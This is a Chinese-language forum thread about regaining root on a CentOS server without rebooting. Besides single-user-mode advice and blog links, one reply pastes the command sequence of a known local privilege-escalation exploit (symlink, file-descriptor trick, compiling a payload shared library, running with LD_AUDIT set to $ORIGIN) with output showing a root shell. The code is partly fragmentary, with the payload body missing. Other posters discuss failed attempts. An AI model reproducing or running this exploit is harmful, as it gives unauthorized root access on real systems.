搜了一下 http://www.suntw.com/default/centos-wang-ji-root-mi-ma.html 但不知道有效没######
引用来自#2楼“PcX”的帖子
搜了一下 http://www.suntw.com/default/centos-wang-ji-root-mi-ma.html 但不知道有效没
这个是很简单的单用户 模式进入,是可以,不过一般都是web服务器,不让重启系统。 不过我已经找到办法解决了!!!^-^######如果普通用户没有sudo权限,那只能重启机器进入单用户模式下改了。######不重启做不到吧。。我博客上面记录了两种方法。http://linuxboy.org/?p=52你可以看看######你不重启怎么搞######
01 | [ test @demon ~]$ mkdir /tmp/a |
02 | [ test @demon~]$ ln -s /bin/ ls /tmp/a/b |
03 | [ test @demon ~]$ exec 3< /tmp/a/b |
04 | [ test @demon ~]$ gcc -w -fPIC -shared -o /tmp/a payload.c |
05 | [ test @demon ~]$ LD_AUDIT= "$ORIGIN" exec /proc/self/fd/3 |
08 | uid=0(root) gid=0(root) groups =0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) |
12 | void __attribute__((constructor)) init() |
######貌似是个漏洞嘛 。。。######AIX 上
gcc -w -fPIC -shared -o /tmp/a payload.c
就报了 /usr/bin/ld: cannot open output file /tmp/a: 是一个目录 貌似无法利用的######
exec
/proc/self/fd/3
这里的 3 和
exec
3< /tmp/a/b
有关吗
/proc/self/fd/ 也没有3
######呀 突然想起来 我试的AIX 是2.4 KERNEL